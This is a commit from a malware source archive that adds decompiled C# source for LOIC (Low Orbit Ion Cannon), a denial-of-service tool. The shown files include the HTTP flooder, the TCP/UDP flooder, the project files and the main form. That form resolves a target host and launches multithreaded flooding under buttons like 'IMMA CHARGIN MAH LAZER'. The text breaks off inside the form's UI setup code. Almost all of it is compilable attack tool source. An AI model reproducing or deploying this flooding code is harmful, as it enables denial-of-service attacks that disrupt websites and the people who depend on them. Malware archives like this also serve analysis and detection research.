mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-22 02:39:25 +00:00
auto-decompiled msil via petikvx
add
This commit is contained in:
+14
@@ -0,0 +1,14 @@
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyTitle("Low Orbit Ion Cannon")]
|
||||
[assembly: AssemblyDescription("TCP/IP stress-test tool")]
|
||||
[assembly: AssemblyProduct("Low Orbit Ion Cannon")]
|
||||
[assembly: AssemblyCopyright("Public domain")]
|
||||
[assembly: NeutralResourcesLanguage("en-US")]
|
||||
[assembly: CLSCompliant(true)]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: Guid("312adafc-fdac-484b-84c5-5c5457e47f67")]
|
||||
[assembly: AssemblyVersion("1.0.6.0")]
|
||||
+114
@@ -0,0 +1,114 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: LOIC.HTTPFlooder
|
||||
// Assembly: LOIC, Version=1.0.6.0, Culture=neutral, PublicKeyToken=054abc0e0ef9de83
|
||||
// MVID: 7AC305AB-446C-4C63-AD73-EDE805EB60DD
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.MSIL.Loic.bj-1d5fc634f976dc3c3f339e46365af78940cb1f49caa46e76e70f7c6ce8dad089.exe
|
||||
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace LOIC
|
||||
{
|
||||
internal class HTTPFlooder : IFlooder
|
||||
{
|
||||
private long lastAction;
|
||||
private Random random = new Random();
|
||||
private System.Windows.Forms.Timer tTimepoll = new System.Windows.Forms.Timer();
|
||||
|
||||
public HTTPFlooder(string ip, int port, string subSite, bool resp, int delay, int timeout)
|
||||
{
|
||||
this.IP = ip;
|
||||
this.Port = port;
|
||||
this.Subsite = subSite;
|
||||
this.Resp = resp;
|
||||
this.Delay = delay;
|
||||
this.Timeout = timeout;
|
||||
}
|
||||
|
||||
public int Delay { get; set; }
|
||||
|
||||
public int Downloaded { get; set; }
|
||||
|
||||
public int Requested { get; set; }
|
||||
|
||||
public int Failed { get; set; }
|
||||
|
||||
public bool IsFlooding { get; set; }
|
||||
|
||||
public string IP { get; set; }
|
||||
|
||||
public int Port { get; set; }
|
||||
|
||||
public bool Resp { get; set; }
|
||||
|
||||
public ReqState State { get; set; }
|
||||
|
||||
public string Subsite { get; set; }
|
||||
|
||||
public int Timeout { get; set; }
|
||||
|
||||
public void Start()
|
||||
{
|
||||
this.IsFlooding = true;
|
||||
this.lastAction = HTTPFlooder.Tick();
|
||||
this.tTimepoll = new System.Windows.Forms.Timer();
|
||||
this.tTimepoll.Tick += new EventHandler(this.tTimepoll_Tick);
|
||||
this.tTimepoll.Start();
|
||||
BackgroundWorker backgroundWorker = new BackgroundWorker();
|
||||
backgroundWorker.DoWork += new DoWorkEventHandler(this.bw_DoWork);
|
||||
backgroundWorker.RunWorkerAsync();
|
||||
}
|
||||
|
||||
private static long Tick() => DateTime.Now.Ticks / 10000L;
|
||||
|
||||
private void bw_DoWork(object sender, DoWorkEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] bytes = Encoding.ASCII.GetBytes(string.Format("GET {0} HTTP/1.0{1}{1}{1}", (object) this.Subsite, (object) Environment.NewLine));
|
||||
IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse(this.IP), this.Port);
|
||||
while (this.IsFlooding)
|
||||
{
|
||||
this.State = ReqState.Ready;
|
||||
this.lastAction = HTTPFlooder.Tick();
|
||||
byte[] buffer = new byte[64];
|
||||
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
||||
this.State = ReqState.Connecting;
|
||||
socket.Connect((EndPoint) remoteEP);
|
||||
socket.Blocking = this.Resp;
|
||||
this.State = ReqState.Requesting;
|
||||
socket.Send(bytes, SocketFlags.None);
|
||||
this.State = ReqState.Downloading;
|
||||
++this.Requested;
|
||||
if (this.Resp)
|
||||
socket.Receive(buffer, 64, SocketFlags.None);
|
||||
this.State = ReqState.Completed;
|
||||
++this.Downloaded;
|
||||
this.tTimepoll.Stop();
|
||||
if (this.Delay > 0)
|
||||
Thread.Sleep(this.Delay);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
this.IsFlooding = false;
|
||||
}
|
||||
}
|
||||
|
||||
private void tTimepoll_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (HTTPFlooder.Tick() <= this.lastAction + (long) this.Timeout)
|
||||
return;
|
||||
this.IsFlooding = false;
|
||||
++this.Failed;
|
||||
this.State = ReqState.Failed;
|
||||
}
|
||||
}
|
||||
}
|
||||
+58
@@ -0,0 +1,58 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.MSIL.Loic.bj-1d5fc634f976dc3c3f339e46365af78940cb1f49caa46e76e70f7c6ce8dad089.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{5E73DB79-9AB3-4907-85D1-42A67A9B2C8E}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>LOIC</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
|
||||
<TargetFrameworkProfile>Client</TargetFrameworkProfile>
|
||||
<ApplicationVersion>1.0.6.0</ApplicationVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<RootNamespace>LOIC</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="IFlooder.cs" />
|
||||
<Compile Include="ReqState.cs" />
|
||||
<Compile Include="frmMain.cs" />
|
||||
<Compile Include="frmWtf.cs" />
|
||||
<Compile Include="HTTPFlooder.cs" />
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="XXPFlooder.cs" />
|
||||
<Compile Include="Properties\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="frmMain.resx" />
|
||||
<EmbeddedResource Include="frmWtf.resx" />
|
||||
<EmbeddedResource Include="Properties\Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||
# Visual Studio 2010
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LOIC", "HackTool.MSIL.Loic.bj-1d5fc634f976dc3c3f339e46365af78940cb1f49caa46e76e70f7c6ce8dad089.csproj", "{5E73DB79-9AB3-4907-85D1-42A67A9B2C8E}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{5E73DB79-9AB3-4907-85D1-42A67A9B2C8E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{5E73DB79-9AB3-4907-85D1-42A67A9B2C8E}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{5E73DB79-9AB3-4907-85D1-42A67A9B2C8E}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{5E73DB79-9AB3-4907-85D1-42A67A9B2C8E}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: LOIC.IFlooder
|
||||
// Assembly: LOIC, Version=1.0.6.0, Culture=neutral, PublicKeyToken=054abc0e0ef9de83
|
||||
// MVID: 7AC305AB-446C-4C63-AD73-EDE805EB60DD
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.MSIL.Loic.bj-1d5fc634f976dc3c3f339e46365af78940cb1f49caa46e76e70f7c6ce8dad089.exe
|
||||
|
||||
namespace LOIC
|
||||
{
|
||||
internal interface IFlooder
|
||||
{
|
||||
int Delay { get; set; }
|
||||
|
||||
bool IsFlooding { get; set; }
|
||||
|
||||
void Start();
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: LOIC.Program
|
||||
// Assembly: LOIC, Version=1.0.6.0, Culture=neutral, PublicKeyToken=054abc0e0ef9de83
|
||||
// MVID: 7AC305AB-446C-4C63-AD73-EDE805EB60DD
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.MSIL.Loic.bj-1d5fc634f976dc3c3f339e46365af78940cb1f49caa46e76e70f7c6ce8dad089.exe
|
||||
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace LOIC
|
||||
{
|
||||
internal static class Program
|
||||
{
|
||||
[STAThread]
|
||||
private static void Main()
|
||||
{
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
Application.Run((Form) new frmMain());
|
||||
}
|
||||
}
|
||||
}
|
||||
+51
@@ -0,0 +1,51 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: LOIC.Properties.Resources
|
||||
// Assembly: LOIC, Version=1.0.6.0, Culture=neutral, PublicKeyToken=054abc0e0ef9de83
|
||||
// MVID: 7AC305AB-446C-4C63-AD73-EDE805EB60DD
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.MSIL.Loic.bj-1d5fc634f976dc3c3f339e46365af78940cb1f49caa46e76e70f7c6ce8dad089.exe
|
||||
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace LOIC.Properties
|
||||
{
|
||||
[CompilerGenerated]
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
|
||||
[DebuggerNonUserCode]
|
||||
internal class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
internal Resources()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) LOIC.Properties.Resources.resourceMan, (object) null))
|
||||
LOIC.Properties.Resources.resourceMan = new ResourceManager("LOIC.Properties.Resources", typeof (LOIC.Properties.Resources).Assembly);
|
||||
return LOIC.Properties.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => LOIC.Properties.Resources.resourceCulture;
|
||||
set => LOIC.Properties.Resources.resourceCulture = value;
|
||||
}
|
||||
|
||||
internal static Bitmap LOIC => (Bitmap) LOIC.Properties.Resources.ResourceManager.GetObject(nameof (LOIC), LOIC.Properties.Resources.resourceCulture);
|
||||
|
||||
internal static Bitmap WTF => (Bitmap) LOIC.Properties.Resources.ResourceManager.GetObject(nameof (WTF), LOIC.Properties.Resources.resourceCulture);
|
||||
}
|
||||
}
|
||||
+126
File diff suppressed because one or more lines are too long
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: LOIC.ReqState
|
||||
// Assembly: LOIC, Version=1.0.6.0, Culture=neutral, PublicKeyToken=054abc0e0ef9de83
|
||||
// MVID: 7AC305AB-446C-4C63-AD73-EDE805EB60DD
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.MSIL.Loic.bj-1d5fc634f976dc3c3f339e46365af78940cb1f49caa46e76e70f7c6ce8dad089.exe
|
||||
|
||||
namespace LOIC
|
||||
{
|
||||
public enum ReqState
|
||||
{
|
||||
Ready,
|
||||
Connecting,
|
||||
Requesting,
|
||||
Downloading,
|
||||
Completed,
|
||||
Failed,
|
||||
}
|
||||
}
|
||||
+107
@@ -0,0 +1,107 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: LOIC.XXPFlooder
|
||||
// Assembly: LOIC, Version=1.0.6.0, Culture=neutral, PublicKeyToken=054abc0e0ef9de83
|
||||
// MVID: 7AC305AB-446C-4C63-AD73-EDE805EB60DD
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.MSIL.Loic.bj-1d5fc634f976dc3c3f339e46365af78940cb1f49caa46e76e70f7c6ce8dad089.exe
|
||||
|
||||
using System.ComponentModel;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace LOIC
|
||||
{
|
||||
internal class XXPFlooder : IFlooder
|
||||
{
|
||||
public XXPFlooder(string ip, int port, int proto, int delay, bool resp, string data)
|
||||
{
|
||||
this.IP = ip;
|
||||
this.Port = port;
|
||||
this.Protocol = proto;
|
||||
this.Delay = delay;
|
||||
this.Resp = resp;
|
||||
this.Data = data;
|
||||
}
|
||||
|
||||
public bool IsFlooding { get; set; }
|
||||
|
||||
public int FloodCount { get; set; }
|
||||
|
||||
public string IP { get; set; }
|
||||
|
||||
public int Port { get; set; }
|
||||
|
||||
public int Protocol { get; set; }
|
||||
|
||||
public int Delay { get; set; }
|
||||
|
||||
public bool Resp { get; set; }
|
||||
|
||||
public string Data { get; set; }
|
||||
|
||||
public void Start()
|
||||
{
|
||||
this.IsFlooding = true;
|
||||
BackgroundWorker backgroundWorker = new BackgroundWorker();
|
||||
backgroundWorker.DoWork += new DoWorkEventHandler(this.bw_DoWork);
|
||||
backgroundWorker.RunWorkerAsync();
|
||||
}
|
||||
|
||||
private void bw_DoWork(object sender, DoWorkEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] bytes = Encoding.ASCII.GetBytes(this.Data);
|
||||
IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse(this.IP), this.Port);
|
||||
while (this.IsFlooding)
|
||||
{
|
||||
if (this.Protocol == 1)
|
||||
{
|
||||
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
||||
{
|
||||
Blocking = this.Resp
|
||||
};
|
||||
socket.Connect((EndPoint) remoteEP);
|
||||
try
|
||||
{
|
||||
while (this.IsFlooding)
|
||||
{
|
||||
++this.FloodCount;
|
||||
socket.Send(bytes);
|
||||
if (this.Delay > 0)
|
||||
Thread.Sleep(this.Delay);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
if (this.Protocol == 2)
|
||||
{
|
||||
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
|
||||
{
|
||||
Blocking = this.Resp
|
||||
};
|
||||
try
|
||||
{
|
||||
while (this.IsFlooding)
|
||||
{
|
||||
++this.FloodCount;
|
||||
socket.SendTo(bytes, SocketFlags.None, (EndPoint) remoteEP);
|
||||
if (this.Delay > 0)
|
||||
Thread.Sleep(this.Delay);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+786
@@ -0,0 +1,786 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: LOIC.frmMain
|
||||
// Assembly: LOIC, Version=1.0.6.0, Culture=neutral, PublicKeyToken=054abc0e0ef9de83
|
||||
// MVID: 7AC305AB-446C-4C63-AD73-EDE805EB60DD
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.MSIL.Loic.bj-1d5fc634f976dc3c3f339e46365af78940cb1f49caa46e76e70f7c6ce8dad089.exe
|
||||
|
||||
using LOIC.Properties;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Globalization;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace LOIC
|
||||
{
|
||||
public class frmMain : Form
|
||||
{
|
||||
private bool attack;
|
||||
private static IFlooder[] arr;
|
||||
private static string sIP;
|
||||
private static string sData;
|
||||
private static string sSubsite;
|
||||
private static int iPort;
|
||||
private static int iThreads;
|
||||
private static int iProtocol;
|
||||
private static int iDelay;
|
||||
private static int iTimeout;
|
||||
private static bool bResp;
|
||||
private static bool intShowStats;
|
||||
private IContainer components;
|
||||
private GroupBox groupBox1;
|
||||
private Button cmdTargetURL;
|
||||
private TextBox txtTargetURL;
|
||||
private Label label2;
|
||||
private Button cmdTargetIP;
|
||||
private TextBox txtTargetIP;
|
||||
private Label label1;
|
||||
private GroupBox groupBox2;
|
||||
private TextBox txtTarget;
|
||||
private Label label5;
|
||||
private Label label3;
|
||||
private GroupBox groupBox3;
|
||||
private TextBox txtPort;
|
||||
private TextBox txtThreads;
|
||||
private ComboBox cbMethod;
|
||||
private TextBox txtTimeout;
|
||||
private Label label10;
|
||||
private GroupBox groupBox4;
|
||||
private Button cmdAttack;
|
||||
private Label label11;
|
||||
private GroupBox groupBox5;
|
||||
private Label label22;
|
||||
private Label label23;
|
||||
private Label lbDownloaded;
|
||||
private Label lbDownloading;
|
||||
private Label lbRequesting;
|
||||
private Label lbConnecting;
|
||||
private Label lbIdle;
|
||||
private Label label12;
|
||||
private Label label13;
|
||||
private Label label14;
|
||||
private Label label15;
|
||||
private Label label16;
|
||||
private Label lbFailed;
|
||||
private Label lbRequested;
|
||||
private TextBox txtSubsite;
|
||||
private ToolTip TTip;
|
||||
private TextBox txtData;
|
||||
private System.Windows.Forms.Timer tShowStats;
|
||||
private Label label19;
|
||||
private Label label7;
|
||||
private Label label4;
|
||||
private Label label6;
|
||||
private Label label20;
|
||||
private CheckBox chkResp;
|
||||
private TrackBar tbSpeed;
|
||||
private Label label18;
|
||||
private Label label17;
|
||||
private Label label9;
|
||||
private Label label21;
|
||||
private PictureBox pBanner;
|
||||
|
||||
public frmMain() => this.InitializeComponent();
|
||||
|
||||
private void frmMain_Load(object sender, EventArgs e) => this.Text = string.Format("{0} | When harpoons, air strikes and nukes fails | v. {1}", (object) Application.ProductName, (object) Application.ProductVersion);
|
||||
|
||||
private void cmdTargetURL_Click(object sender, EventArgs e)
|
||||
{
|
||||
string uriString = this.txtTargetURL.Text.ToLower();
|
||||
if (uriString.Length == 0)
|
||||
{
|
||||
using (frmWtf frmWtf = new frmWtf())
|
||||
{
|
||||
frmWtf.Show();
|
||||
int num = (int) MessageBox.Show("A URL is fine too...", "What the shit.");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (uriString.StartsWith("https://"))
|
||||
uriString = uriString.Replace("https://", "http://");
|
||||
else if (!uriString.StartsWith("http://"))
|
||||
uriString = "http://" + uriString;
|
||||
try
|
||||
{
|
||||
this.txtTarget.Text = ((IEnumerable<IPAddress>) Dns.GetHostEntry(new Uri(uriString).Host).AddressList).Single<IPAddress>().ToString();
|
||||
}
|
||||
catch
|
||||
{
|
||||
using (frmWtf frmWtf = new frmWtf())
|
||||
{
|
||||
frmWtf.Show();
|
||||
int num = (int) MessageBox.Show("Write the complete address", "What the shit.");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void cmdTargetIP_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.txtTargetIP.Text.Length == 0)
|
||||
{
|
||||
using (frmWtf frmWtf = new frmWtf())
|
||||
{
|
||||
frmWtf.Show();
|
||||
int num = (int) MessageBox.Show("I think you forgot the IP.", "What the shit.");
|
||||
}
|
||||
}
|
||||
else
|
||||
this.txtTarget.Text = this.txtTargetIP.Text;
|
||||
}
|
||||
|
||||
private void txtTarget_Enter(object sender, EventArgs e) => this.cmdAttack.Focus();
|
||||
|
||||
private void cmdAttack_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (!this.attack)
|
||||
{
|
||||
this.attack = true;
|
||||
try
|
||||
{
|
||||
frmMain.sIP = this.txtTarget.Text;
|
||||
if (!int.TryParse(this.txtPort.Text, out frmMain.iPort))
|
||||
throw new Exception("I don't think ports are supposed to be written like THAT.");
|
||||
if (!int.TryParse(this.txtThreads.Text, out frmMain.iThreads))
|
||||
throw new Exception("What on earth made you put THAT in the threads field?");
|
||||
if (string.IsNullOrEmpty(this.txtTarget.Text) || string.Equals(this.txtTarget.Text, "N O N E !"))
|
||||
throw new Exception("Select a target.");
|
||||
frmMain.iProtocol = 0;
|
||||
if (string.Equals(this.cbMethod.Text, "TCP"))
|
||||
frmMain.iProtocol = 1;
|
||||
if (string.Equals(this.cbMethod.Text, "UDP"))
|
||||
frmMain.iProtocol = 2;
|
||||
if (string.Equals(this.cbMethod.Text, "HTTP"))
|
||||
frmMain.iProtocol = 3;
|
||||
if (frmMain.iProtocol == 0)
|
||||
throw new Exception("Select a proper attack method.");
|
||||
frmMain.sData = this.txtData.Text.Replace("\\r", "\r").Replace("\\n", "\n");
|
||||
if (string.IsNullOrEmpty(frmMain.sData) && (frmMain.iProtocol == 1 || frmMain.iProtocol == 2))
|
||||
throw new Exception("Gonna spam with no contents? You're a wise fellow, aren't ya? o.O");
|
||||
if (!this.txtSubsite.Text.StartsWith("/") && frmMain.iProtocol == 3)
|
||||
throw new Exception("You have to enter a subsite (for example \"/\")");
|
||||
frmMain.sSubsite = this.txtSubsite.Text;
|
||||
if (!int.TryParse(this.txtTimeout.Text, out frmMain.iTimeout))
|
||||
throw new Exception("What's up with something like that in the timeout box? =S");
|
||||
frmMain.bResp = this.chkResp.Checked;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
using (frmWtf frmWtf = new frmWtf())
|
||||
{
|
||||
frmWtf.Show();
|
||||
int num = (int) MessageBox.Show(ex.Message, "What the shit.");
|
||||
}
|
||||
this.attack = false;
|
||||
return;
|
||||
}
|
||||
this.cmdAttack.Text = "Stop flooding";
|
||||
switch (frmMain.iProtocol)
|
||||
{
|
||||
case 1:
|
||||
case 2:
|
||||
frmMain.arr = (IFlooder[]) new XXPFlooder[frmMain.iThreads];
|
||||
for (int index = 0; index < frmMain.arr.Length; ++index)
|
||||
{
|
||||
frmMain.arr[index] = (IFlooder) new XXPFlooder(frmMain.sIP, frmMain.iPort, frmMain.iProtocol, frmMain.iDelay, frmMain.bResp, frmMain.sData);
|
||||
frmMain.arr[index].Start();
|
||||
}
|
||||
break;
|
||||
case 3:
|
||||
frmMain.arr = (IFlooder[]) new HTTPFlooder[frmMain.iThreads];
|
||||
for (int index = 0; index < frmMain.arr.Length; ++index)
|
||||
{
|
||||
frmMain.arr[index] = (IFlooder) new HTTPFlooder(frmMain.sIP, frmMain.iPort, frmMain.sSubsite, frmMain.bResp, frmMain.iDelay, frmMain.iTimeout);
|
||||
frmMain.arr[index].Start();
|
||||
}
|
||||
break;
|
||||
}
|
||||
this.tShowStats.Start();
|
||||
}
|
||||
else
|
||||
{
|
||||
this.attack = false;
|
||||
this.cmdAttack.Text = "IMMA CHARGIN MAH LAZER";
|
||||
this.tShowStats.Stop();
|
||||
frmMain.arr = (IFlooder[]) null;
|
||||
}
|
||||
}
|
||||
|
||||
private void tShowStats_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (frmMain.intShowStats)
|
||||
return;
|
||||
frmMain.intShowStats = true;
|
||||
bool flag = false;
|
||||
if (frmMain.iProtocol == 1 || frmMain.iProtocol == 2)
|
||||
this.lbRequested.Text = frmMain.arr.Cast<XXPFlooder>().Sum<XXPFlooder>((Func<XXPFlooder, int>) (f => f.FloodCount)).ToString((IFormatProvider) CultureInfo.InvariantCulture);
|
||||
if (frmMain.iProtocol == 3)
|
||||
{
|
||||
int num1 = 0;
|
||||
int num2 = 0;
|
||||
int num3 = 0;
|
||||
int num4 = 0;
|
||||
int num5 = 0;
|
||||
int num6 = 0;
|
||||
int num7 = 0;
|
||||
for (int index = 0; index < frmMain.arr.Length; ++index)
|
||||
{
|
||||
HTTPFlooder httpFlooder1 = (HTTPFlooder) frmMain.arr[index];
|
||||
num5 += httpFlooder1.Downloaded;
|
||||
num6 += httpFlooder1.Requested;
|
||||
num7 += httpFlooder1.Failed;
|
||||
switch (httpFlooder1.State)
|
||||
{
|
||||
case ReqState.Ready:
|
||||
case ReqState.Completed:
|
||||
++num1;
|
||||
break;
|
||||
case ReqState.Connecting:
|
||||
++num2;
|
||||
break;
|
||||
case ReqState.Requesting:
|
||||
++num3;
|
||||
break;
|
||||
case ReqState.Downloading:
|
||||
++num4;
|
||||
break;
|
||||
}
|
||||
if (flag && !httpFlooder1.IsFlooding)
|
||||
{
|
||||
int downloaded = httpFlooder1.Downloaded;
|
||||
int requested = httpFlooder1.Requested;
|
||||
int failed = httpFlooder1.Failed;
|
||||
HTTPFlooder httpFlooder2 = new HTTPFlooder(frmMain.sIP, frmMain.iPort, frmMain.sSubsite, frmMain.bResp, frmMain.iDelay, frmMain.iTimeout)
|
||||
{
|
||||
Downloaded = downloaded,
|
||||
Requested = requested,
|
||||
Failed = failed
|
||||
};
|
||||
httpFlooder2.Start();
|
||||
frmMain.arr[index] = (IFlooder) httpFlooder2;
|
||||
}
|
||||
}
|
||||
this.lbFailed.Text = num7.ToString((IFormatProvider) CultureInfo.InvariantCulture);
|
||||
this.lbRequested.Text = num6.ToString((IFormatProvider) CultureInfo.InvariantCulture);
|
||||
this.lbDownloaded.Text = num5.ToString((IFormatProvider) CultureInfo.InvariantCulture);
|
||||
this.lbDownloading.Text = num4.ToString((IFormatProvider) CultureInfo.InvariantCulture);
|
||||
this.lbRequesting.Text = num3.ToString((IFormatProvider) CultureInfo.InvariantCulture);
|
||||
this.lbConnecting.Text = num2.ToString((IFormatProvider) CultureInfo.InvariantCulture);
|
||||
this.lbIdle.Text = num1.ToString((IFormatProvider) CultureInfo.InvariantCulture);
|
||||
}
|
||||
frmMain.intShowStats = false;
|
||||
}
|
||||
|
||||
private void tbSpeed_ValueChanged(object sender, EventArgs e)
|
||||
{
|
||||
frmMain.iDelay = this.tbSpeed.Value;
|
||||
if (frmMain.arr == null)
|
||||
return;
|
||||
foreach (IFlooder flooder in frmMain.arr)
|
||||
flooder.Delay = frmMain.iDelay;
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new Container();
|
||||
this.groupBox1 = new GroupBox();
|
||||
this.label2 = new Label();
|
||||
this.cmdTargetIP = new Button();
|
||||
this.txtTargetIP = new TextBox();
|
||||
this.label1 = new Label();
|
||||
this.cmdTargetURL = new Button();
|
||||
this.txtTargetURL = new TextBox();
|
||||
this.groupBox2 = new GroupBox();
|
||||
this.txtTarget = new TextBox();
|
||||
this.label5 = new Label();
|
||||
this.label3 = new Label();
|
||||
this.groupBox3 = new GroupBox();
|
||||
this.label21 = new Label();
|
||||
this.label18 = new Label();
|
||||
this.label17 = new Label();
|
||||
this.label9 = new Label();
|
||||
this.label7 = new Label();
|
||||
this.label4 = new Label();
|
||||
this.label6 = new Label();
|
||||
this.label20 = new Label();
|
||||
this.chkResp = new CheckBox();
|
||||
this.txtData = new TextBox();
|
||||
this.txtSubsite = new TextBox();
|
||||
this.txtTimeout = new TextBox();
|
||||
this.txtThreads = new TextBox();
|
||||
this.cbMethod = new ComboBox();
|
||||
this.txtPort = new TextBox();
|
||||
this.tbSpeed = new TrackBar();
|
||||
this.label10 = new Label();
|
||||
